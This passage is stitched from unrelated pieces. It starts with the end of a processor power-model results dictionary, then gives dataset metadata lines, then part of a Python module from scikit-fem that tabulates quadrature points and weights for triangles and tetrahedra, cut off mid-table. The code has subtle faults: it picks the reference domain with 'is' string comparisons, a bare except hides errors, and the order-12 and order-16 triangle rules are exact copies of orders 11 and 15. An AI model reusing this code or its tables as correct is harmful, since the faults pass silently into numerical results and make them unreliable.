RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 9.16521e-06, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.022674, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.268495, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.291178, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 9.76191, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}], 'DRAM': {'Area': 0, 'Gate Leakage': 0, 'Peak Dynamic': 9.230770020593798, 'Runtime Dynamic': 9.230770020593798, 'Subthreshold Leakage': 4.252, 'Subthreshold Leakage with power gating': 4.252}, 'L3': [{'Area': 61.9075, 'Gate Leakage': 0.0484137, 'Peak Dynamic': 0.23455, 'Runtime Dynamic': 0.250517, 'Subthreshold Leakage': 6.80085, 'Subthreshold Leakage with power gating': 3.32364}], 'Processor': {'Area': 191.908, 'Gate Leakage': 1.53485, 'Peak Dynamic': 112.659, 'Peak Power': 145.772, 'Runtime Dynamic': 42.5047, 'Subthreshold Leakage': 31.5774, 'Subthreshold Leakage with power gating': 13.9484, 'Total Cores/Area': 128.669, 'Total Cores/Gate Leakage': 1.4798, 'Total Cores/Peak Dynamic': 112.425, 'Total Cores/Runtime Dynamic': 42.2542, 'Total Cores/Subthreshold Leakage': 24.7074, 'Total Cores/Subthreshold Leakage with power gating': 10.2429, 'Total L3s/Area': 61.9075, 'Total L3s/Gate Leakage': 0.0484137, 'Total L3s/Peak Dynamic': 0.23455, 'Total L3s/Runtime Dynamic': 0.250517, 'Total L3s/Subthreshold Leakage': 6.80085, 'Total L3s/Subthreshold Leakage with power gating': 3.32364, 'Total Leakage': 33.1122, 'Total NoCs/Area': 1.33155, 'Total NoCs/Gate Leakage': 0.00662954, 'Total NoCs/Peak Dynamic': 0.0, 'Total NoCs/Runtime Dynamic': 0.0, 'Total NoCs/Subthreshold Leakage': 0.0691322, 'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
75.039387
124
0.681743
8,098
68,586
5.768091
0.066313
0.123657
0.113038
0.093513
0.942539
0.934661
0.923485
0.899144
0.875294
0.856969
0
0.130971
0.224404
68,586
914
125
75.039387
0.747119
0
0
0.658643
0
0
0.657632
0.048114
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5b57f3da536331d6b74ea46e82e8140eeef724d2
50,820
py
Python
skfem/quadrature.py
carlosal1015/scikit-fem
1e73a417e9b43fe0a36e29807792c41fa289b77d
[ "BSD-3-Clause" ]
null
null
null
skfem/quadrature.py
carlosal1015/scikit-fem
1e73a417e9b43fe0a36e29807792c41fa289b77d
[ "BSD-3-Clause" ]
null
null
null
skfem/quadrature.py
carlosal1015/scikit-fem
1e73a417e9b43fe0a36e29807792c41fa289b77d
[ "BSD-3-Clause" ]
null
null
null
"""Tabulated and generated quadrature points for various reference domains.""" import numpy as np from typing import Tuple def get_quadrature(refdom: str, norder: int) -> Tuple[np.ndarray, np.ndarray]: """Return a nth order accurate quadrature rule for different reference domains. Parameters ---------- refdom The name of the reference domain. Valid reference domains can be found in the following table. +-------+-----------------+----------------+ | Name | Corner points | Maximum order | +-------+-----------------+----------------+ | point | N.A. | infty | +-------+-----------------+----------------+ | line | 0, 1 | infty | +-------+-----------------+----------------+ | tri | (0,0) (0,1) | 19 | | | (1,0) | | +-------+-----------------+----------------+ | quad | (-1,-1) (1,-1) | infty | | | (1,1) (-1,1) | | +-------+-----------------+----------------+ | tet | (0,0,0) (0,0,1) | 4 | | | (0,1,0) (1,0,0) | | +-------+-----------------+----------------+ | hex | (-1,-1,-1), | infty | | | (1,1,1), etc. | | +-------+-----------------+----------------+ norder The polynomial order upto which the requested quadrature rule is accurate. Returns ------- An array of quadrature points (Ndim x Nqp) and an array of quadrature weights (Nqp). """ if refdom is "tri": return get_quadrature_tri(norder) elif refdom is "tet": return get_quadrature_tet(norder) elif refdom is "line": # [0,1] return get_quadrature_line(norder) elif refdom is "point": return get_quadrature_point(norder) elif refdom is "quad": # (-1,-1) (1,-1) (1,1) (-1,1) X, W = get_quadrature_line(norder) # generate tensor product rule from 1D rule A, B = np.meshgrid(X, X) Y = 2.0*np.vstack((A.flatten(order='F'), B.flatten(order='F'))) - 1.0 # transform weights A, B = np.meshgrid(2*W, 2*W) Z = A*B W = Z.flatten(order='F') return Y, W elif refdom is "hex": # (-1,-1,-1), (1,1,1), etc. X, W = get_quadrature_line(norder) # generate tensor product rule from 1D rule A, B, C = np.meshgrid(X, X, X) Y = 2.0*np.vstack((A.flatten(order='F'), B.flatten(order='F'), C.flatten(order='F'))) - 1.0 # transform weights A, B, C = np.meshgrid(2*W, 2*W, 2*W) Z = A*B*C W = Z.flatten(order='F') return Y, W else: raise NotImplementedError("The given mesh type is not supported!") def get_quadrature_tet(norder: int) -> Tuple[np.ndarray, np.ndarray]: """Return a nth order accurate quadrature rule for the reference tetrahedron (0,0,0) (0,0,1) (0,1,0) (1,0,0).""" if norder <= 1: norder = 2 try: return { 2: (np.array([[0.5854101966249685, 0.1381966011250105, 0.1381966011250105, 0.1381966011250105], \ [0.1381966011250105, 0.1381966011250105, 0.1381966011250105, 0.5854101966249685], \ [0.1381966011250105, 0.1381966011250105, 0.5854101966249685, 0.1381966011250105]]), \ np.array([0.2500000000000000, 0.2500000000000000, 0.2500000000000000, 0.2500000000000000]) / 6.), 3: (np.array([[0.2500000000000000, 0.5000000000000000, 0.1666666666666667, 0.1666666666666667, 0.1666666666666667], \ [0.2500000000000000, 0.1666666666666667, 0.1666666666666667, 0.1666666666666667, 0.5000000000000000], \ [0.2500000000000000, 0.1666666666666667, 0.1666666666666667, 0.5000000000000000, 0.1666666666666667]]), \ np.array([-0.8000000000000000, 0.4500000000000000, 0.4500000000000000, 0.4500000000000000, 0.4500000000000000]) / 6.), 4: (np.array([[0.2500000000000000, 0.7857142857142857, 0.0714285714285714, 0.0714285714285714, 0.0714285714285714, 0.1005964238332008, 0.3994035761667992, 0.3994035761667992, 0.3994035761667992, 0.1005964238332008, 0.1005964238332008], \ [0.2500000000000000, 0.0714285714285714, 0.0714285714285714, 0.0714285714285714, 0.7857142857142857, 0.3994035761667992, 0.1005964238332008, 0.3994035761667992, 0.1005964238332008, 0.3994035761667992, 0.1005964238332008], \ [0.2500000000000000, 0.0714285714285714, 0.0714285714285714, 0.7857142857142857, 0.0714285714285714, 0.3994035761667992, 0.3994035761667992, 0.1005964238332008, 0.1005964238332008, 0.1005964238332008, 0.3994035761667992]]), \ np.array([-0.0789333333333333, 0.0457333333333333, 0.0457333333333333, 0.0457333333333333, 0.0457333333333333, 0.1493333333333333, 0.1493333333333333, 0.1493333333333333, 0.1493333333333333, 0.1493333333333333, 0.1493333333333333]) / 6.) }[norder] # last one available from http://www.cfd-online.com/Wiki/Code:_Quadrature_on_Tetrahedra except: raise NotImplementedError("The requested order of quadrature " + "is not tabulated.") def get_quadrature_tri(norder: int) -> Tuple[np.ndarray, np.ndarray]: """Return a nth order accurate quadrature rule for the reference triangle (0,0) (0,1) (1,0).""" if norder <= 1: norder = 2 try: return { 2: (np.array([[1.666666666666666666666e-01, 6.666666666666666666666e-01, 1.666666666666666666666e-01], [1.666666666666666666666e-01, 1.666666666666666666666e-01, 6.666666666666666666666e-01]]), np.array([1.666666666666666666666e-01, 1.666666666666666666666e-01, 1.666666666666666666666e-01])), 3: (np.array([[0.333333333333333, 0.2, 0.6, 0.2], [0.333333333333333, 0.6, 0.2, 0.2]]), np.array([-0.28125, 0.260416666666667, 0.260416666666667, 0.260416666666667])), 4: (np.array([[0.445948490915965, 0.0915762135097699, 0.10810301816807, 0.816847572980459, 0.445948490915965, 0.091576213509771], [0.10810301816807, 0.816847572980459, 0.445948490915965, 0.091576213509771, 0.445948490915965, 0.0915762135097699]]), np.array( [0.111690794839006, 0.054975871827661, 0.111690794839006, 0.054975871827661, 0.111690794839006, 0.054975871827661])), 5: (np.array([[0.333333333333333, 0.470142064105115, 0.101286507323457, 0.05971587178977, 0.797426985353087, 0.470142064105115, 0.101286507323456], [0.333333333333333, 0.05971587178977, 0.797426985353087, 0.470142064105115, 0.101286507323456, 0.470142064105115, 0.101286507323457]]), np.array( [0.1125, 0.066197076394253, 0.0629695902724135, 0.066197076394253, 0.0629695902724135, 0.066197076394253, 0.0629695902724135])), 6: (np.array([[0.249286745170911, 0.0630890144915021, 0.501426509658179, 0.873821971016996, 0.24928674517091, 0.063089014491502, 0.636502499121399, 0.310352451033784, 0.053145049844817, 0.053145049844817, 0.310352451033784, 0.636502499121399], [0.501426509658179, 0.873821971016996, 0.24928674517091, 0.063089014491502, 0.249286745170911, 0.0630890144915021, 0.053145049844817, 0.053145049844817, 0.310352451033784, 0.636502499121399, 0.636502499121399, 0.310352451033784]]), np.array( [0.0583931378631895, 0.0254224531851035, 0.0583931378631895, 0.0254224531851035, 0.0583931378631895, 0.0254224531851035, 0.041425537809187, 0.041425537809187, 0.041425537809187, 0.041425537809187, 0.041425537809187, 0.041425537809187])), 7: (np.array([[0.333333333333333, 0.26034596607904, 0.065130102902216, 0.47930806784192, 0.869739794195568, 0.26034596607904, 0.065130102902216, 0.63844418856981, 0.312865496004874, 0.048690315425316, 0.048690315425316, 0.312865496004874, 0.63844418856981], [0.333333333333333, 0.47930806784192, 0.869739794195568, 0.26034596607904, 0.065130102902216, 0.26034596607904, 0.065130102902216, 0.048690315425316, 0.048690315425316, 0.312865496004874, 0.63844418856981, 0.63844418856981, 0.312865496004874]]), np.array( [-0.074785022233841, 0.087807628716604, 0.026673617804419, 0.087807628716604, 0.026673617804419, 0.087807628716604, 0.026673617804419, 0.0385568804451285, 0.0385568804451285, 0.0385568804451285, 0.0385568804451285, 0.0385568804451285, 0.0385568804451285])), 8: (np.array([[0.333333333333333, 0.459292588292723, 0.17056930775176, 0.0505472283170311, 0.081414823414554, 0.65886138449648, 0.898905543365938, 0.459292588292723, 0.17056930775176, 0.050547228317031, 0.728492392955404, 0.263112829634638, 0.008394777409958, 0.008394777409958, 0.263112829634638, 0.728492392955404], [0.333333333333333, 0.081414823414554, 0.65886138449648, 0.898905543365938, 0.459292588292723, 0.17056930775176, 0.050547228317031, 0.459292588292723, 0.17056930775176, 0.0505472283170311, 0.008394777409958, 0.008394777409958, 0.263112829634638, 0.728492392955404, 0.728492392955404, 0.263112829634638]]), np.array( [0.0721578038388935, 0.0475458171336425, 0.051608685267359, 0.016229248811599, 0.0475458171336425, 0.051608685267359, 0.016229248811599, 0.0475458171336425, 0.051608685267359, 0.016229248811599, 0.0136151570872175, 0.0136151570872175, 0.0136151570872175, 0.0136151570872175, 0.0136151570872175, 0.0136151570872175])), 9: (np.array([[0.333333333333333, 0.489682519198737, 0.437089591492936, 0.188203535619032, 0.0447295133944519, 0.020634961602525, 0.125820817014127, 0.623592928761935, 0.910540973211095, 0.489682519198738, 0.437089591492937, 0.188203535619033, 0.044729513394453, 0.741198598784498, 0.221962989160766, 0.036838412054736, 0.036838412054736, 0.221962989160766, 0.741198598784498], [0.333333333333333, 0.020634961602525, 0.125820817014127, 0.623592928761935, 0.910540973211095, 0.489682519198738, 0.437089591492937, 0.188203535619033, 0.044729513394453, 0.489682519198737, 0.437089591492936, 0.188203535619032, 0.0447295133944519, 0.036838412054736, 0.036838412054736, 0.221962989160766, 0.741198598784498, 0.741198598784498, 0.221962989160766]]), np.array( [0.0485678981413995, 0.0156673501135695, 0.038913770502387, 0.039823869463605, 0.012788837829349, 0.0156673501135695, 0.038913770502387, 0.039823869463605, 0.012788837829349, 0.0156673501135695, 0.038913770502387, 0.039823869463605, 0.012788837829349, 0.0216417696886445, 0.0216417696886445, 0.0216417696886445, 0.0216417696886445, 0.0216417696886445, 0.0216417696886445])), 10: (np.array([[0.333333333333333, 0.485577633383658, 0.109481575485037, 0.028844733232685, 0.781036849029926, 0.485577633383657, 0.109481575485037, 0.550352941820999, 0.728323904597411, 0.923655933587501, 0.307939838764121, 0.246672560639903, 0.0668032510122, 0.14170721941488, 0.025003534762686, 0.009540815400299, 0.14170721941488, 0.025003534762686, 0.009540815400299, 0.307939838764121, 0.246672560639903, 0.0668032510122, 0.550352941820999, 0.728323904597411, 0.923655933587501], [0.333333333333333, 0.028844733232685, 0.781036849029926, 0.485577633383657, 0.109481575485037, 0.485577633383658, 0.109481575485037, 0.14170721941488, 0.025003534762686, 0.009540815400299, 0.14170721941488, 0.025003534762686, 0.009540815400299, 0.307939838764121, 0.246672560639903, 0.0668032510122, 0.550352941820999, 0.728323904597411, 0.923655933587501, 0.550352941820999, 0.728323904597411, 0.923655933587501, 0.307939838764121, 0.246672560639903, 0.0668032510122]]), np.array( [0.045408995191377, 0.0183629788782335, 0.022660529717764, 0.0183629788782335, 0.022660529717764, 0.0183629788782335, 0.022660529717764, 0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665])), 11: (np.array([[0.488217389773805, 0.439724392294461, 0.271210385012116, 0.127576145541586, 0.021317350453211, 0.02356522045239, 0.120551215411079, 0.457579229975768, 0.744847708916828, 0.957365299093579, 0.488217389773805, 0.43972439229446, 0.271210385012116, 0.127576145541586, 0.02131735045321, 0.608943235779788, 0.695836086787803, 0.858014033544073, 0.275713269685514, 0.28132558098994, 0.116251915907597, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.275713269685514, 0.28132558098994, 0.116251915907597, 0.608943235779788, 0.695836086787803, 0.858014033544073], [0.02356522045239, 0.120551215411079, 0.457579229975768, 0.744847708916828, 0.957365299093579, 0.488217389773805, 0.43972439229446, 0.271210385012116, 0.127576145541586, 0.02131735045321, 0.488217389773805, 0.439724392294461, 0.271210385012116, 0.127576145541586, 0.021317350453211, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.275713269685514, 0.28132558098994, 0.116251915907597, 0.608943235779788, 0.695836086787803, 0.858014033544073, 0.608943235779788, 0.695836086787803, 0.858014033544073, 0.275713269685514, 0.28132558098994, 0.116251915907597]]), np.array( [0.0128655332202275, 0.021846272269019, 0.0314291121089425, 0.0173980564653545, 0.0030831305257795, 0.0128655332202275, 0.021846272269019, 0.0314291121089425, 0.0173980564653545, 0.0030831305257795, 0.0128655332202275, 0.021846272269019, 0.0314291121089425, 0.0173980564653545, 0.0030831305257795, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295])), 12: (np.array([[0.488217389773805, 0.439724392294461, 0.271210385012116, 0.127576145541586, 0.021317350453211, 0.02356522045239, 0.120551215411079, 0.457579229975768, 0.744847708916828, 0.957365299093579, 0.488217389773805, 0.43972439229446, 0.271210385012116, 0.127576145541586, 0.02131735045321, 0.608943235779788, 0.695836086787803, 0.858014033544073, 0.275713269685514, 0.28132558098994, 0.116251915907597, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.275713269685514, 0.28132558098994, 0.116251915907597, 0.608943235779788, 0.695836086787803, 0.858014033544073], [0.02356522045239, 0.120551215411079, 0.457579229975768, 0.744847708916828, 0.957365299093579, 0.488217389773805, 0.43972439229446, 0.271210385012116, 0.127576145541586, 0.02131735045321, 0.488217389773805, 0.439724392294461, 0.271210385012116, 0.127576145541586, 0.021317350453211, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.115343494534698, 0.022838332222257, 0.02573405054833, 0.275713269685514, 0.28132558098994, 0.116251915907597, 0.608943235779788, 0.695836086787803, 0.858014033544073, 0.608943235779788, 0.695836086787803, 0.858014033544073, 0.275713269685514, 0.28132558098994, 0.116251915907597]]), np.array( [0.0128655332202275, 0.021846272269019, 0.0314291121089425, 0.0173980564653545, 0.0030831305257795, 0.0128655332202275, 0.021846272269019, 0.0314291121089425, 0.0173980564653545, 0.0030831305257795, 0.0128655332202275, 0.021846272269019, 0.0314291121089425, 0.0173980564653545, 0.0030831305257795, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295, 0.0201857788831905, 0.0111783866011515, 0.0086581155543295])), 13: (np.array([[0.333333333333333, 0.495048184939704, 0.468716635109574, 0.414521336801276, 0.229399572042832, 0.11442449519633, 0.024811391363459, 0.009903630120591, 0.062566729780852, 0.170957326397447, 0.541200855914337, 0.77115100960734, 0.950377217273082, 0.495048184939705, 0.468716635109574, 0.414521336801277, 0.229399572042831, 0.11442449519633, 0.024811391363459, 0.63635117456166, 0.690169159986905, 0.851409537834241, 0.268794997058761, 0.291730066734288, 0.126357385491669, 0.094853828379579, 0.018100773278807, 0.02223307667409, 0.094853828379579, 0.018100773278807, 0.02223307667409, 0.268794997058761, 0.291730066734288, 0.126357385491669, 0.63635117456166, 0.690169159986905, 0.851409537834241], [0.333333333333333, 0.009903630120591, 0.062566729780852, 0.170957326397447, 0.541200855914337, 0.77115100960734, 0.950377217273082, 0.495048184939705, 0.468716635109574, 0.414521336801277, 0.229399572042831, 0.11442449519633, 0.024811391363459, 0.495048184939704, 0.468716635109574, 0.414521336801276, 0.229399572042832, 0.11442449519633, 0.024811391363459, 0.094853828379579, 0.018100773278807, 0.02223307667409, 0.094853828379579, 0.018100773278807, 0.02223307667409, 0.268794997058761, 0.291730066734288, 0.126357385491669, 0.63635117456166, 0.690169159986905, 0.851409537834241, 0.63635117456166, 0.690169159986905, 0.851409537834241, 0.268794997058761, 0.291730066734288, 0.126357385491669]]), np.array( [0.026260461700401, 0.005640072604665, 0.015711759181227, 0.023536251252097, 0.0236817932681775, 0.015583764522897, 0.003987885732537, 0.005640072604665, 0.015711759181227, 0.023536251252097, 0.0236817932681775, 0.015583764522897, 0.003987885732537, 0.005640072604665, 0.015711759181227, 0.023536251252097, 0.0236817932681775, 0.015583764522897, 0.003987885732537, 0.018424201364366, 0.008700731651911, 0.0077608934195225, 0.018424201364366, 0.008700731651911, 0.0077608934195225, 0.018424201364366, 0.008700731651911, 0.0077608934195225, 0.018424201364366, 0.008700731651911, 0.0077608934195225, 0.018424201364366, 0.008700731651911, 0.0077608934195225, 0.018424201364366, 0.008700731651911, 0.0077608934195225])), 14: (np.array([[0.488963910362178, 0.417644719340454, 0.273477528308838, 0.177205532412544, 0.0617998830908719, 0.019390961248701, 0.022072179275643, 0.164710561319092, 0.453044943382323, 0.645588935174913, 0.876400233818255, 0.961218077502598, 0.488963910362179, 0.417644719340454, 0.273477528308839, 0.177205532412543, 0.061799883090873, 0.019390961248701, 0.770608554774996, 0.570222290846683, 0.686980167808088, 0.879757171370171, 0.172266687821356, 0.336861459796345, 0.298372882136258, 0.118974497696957, 0.057124757403648, 0.092916249356972, 0.014646950055654, 0.001268330932872, 0.057124757403648, 0.092916249356972, 0.014646950055654, 0.001268330932872, 0.172266687821356, 0.336861459796345, 0.298372882136258, 0.118974497696957, 0.770608554774996, 0.570222290846683, 0.686980167808088, 0.879757171370171], [0.022072179275643, 0.164710561319092, 0.453044943382323, 0.645588935174913, 0.876400233818255, 0.961218077502598, 0.488963910362179, 0.417644719340454, 0.273477528308839, 0.177205532412543, 0.061799883090873, 0.019390961248701, 0.488963910362178, 0.417644719340454, 0.273477528308838, 0.177205532412544, 0.0617998830908719, 0.019390961248701, 0.057124757403648, 0.092916249356972, 0.014646950055654, 0.001268330932872, 0.057124757403648, 0.092916249356972, 0.014646950055654, 0.001268330932872, 0.172266687821356, 0.336861459796345, 0.298372882136258, 0.118974497696957, 0.770608554774996, 0.570222290846683, 0.686980167808088, 0.879757171370171, 0.770608554774996, 0.570222290846683, 0.686980167808088, 0.879757171370171, 0.172266687821356, 0.336861459796345, 0.298372882136258, 0.118974497696957]]), np.array( [0.0109417906847145, 0.0163941767720625, 0.025887052253646, 0.0210812943684965, 0.0072168498348885, 0.0024617018012, 0.0109417906847145, 0.0163941767720625, 0.025887052253646, 0.0210812943684965, 0.0072168498348885, 0.0024617018012, 0.0109417906847145, 0.0163941767720625, 0.025887052253646, 0.0210812943684965, 0.0072168498348885, 0.0024617018012, 0.012332876606282, 0.0192857553935305, 0.007218154056767, 0.0025051144192505, 0.012332876606282, 0.0192857553935305, 0.007218154056767, 0.0025051144192505, 0.012332876606282, 0.0192857553935305, 0.007218154056767, 0.0025051144192505, 0.012332876606282, 0.0192857553935305, 0.007218154056767, 0.0025051144192505, 0.012332876606282, 0.0192857553935305, 0.007218154056767, 0.0025051144192505, 0.012332876606282, 0.0192857553935305, 0.007218154056767, 0.0025051144192505])), 15: (np.array([[0.333333333333333, 0.497170540556774, 0.482176322624624, 0.450239969020781, 0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461, 0.015654726967822, 0.005658918886452, 0.035647354750751, 0.099520061958437, 0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508, 0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782, 0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746, 0.015654726967822, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608], [0.333333333333333, 0.005658918886452, 0.035647354750751, 0.099520061958437, 0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508, 0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782, 0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746, 0.015654726967822, 0.497170540556774, 0.482176322624624, 0.450239969020781, 0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461, 0.015654726967822, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564]]), np.array( [0.0167185996454015, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825])), 16: (np.array([[0.333333333333333, 0.497170540556774, 0.482176322624624, 0.450239969020781, 0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461, 0.015654726967822, 0.005658918886452, 0.035647354750751, 0.099520061958437, 0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508, 0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782, 0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746, 0.015654726967822, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608], [0.333333333333333, 0.005658918886452, 0.035647354750751, 0.099520061958437, 0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508, 0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782, 0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746, 0.015654726967822, 0.497170540556774, 0.482176322624624, 0.450239969020781, 0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461, 0.015654726967822, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919, 0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524, 0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746, 0.080711313679564]]), np.array( [0.0167185996454015, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825])), 17: (np.array([[0.333333333333333, 0.497170540556774, 0.482176322624624, 0.450239969020781, 0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461, 0.015654726967822, 0.005658918886452, 0.035647354750751, 0.099520061958437, 0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508, 0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782, 0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746, 0.015654726967822, 0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319, 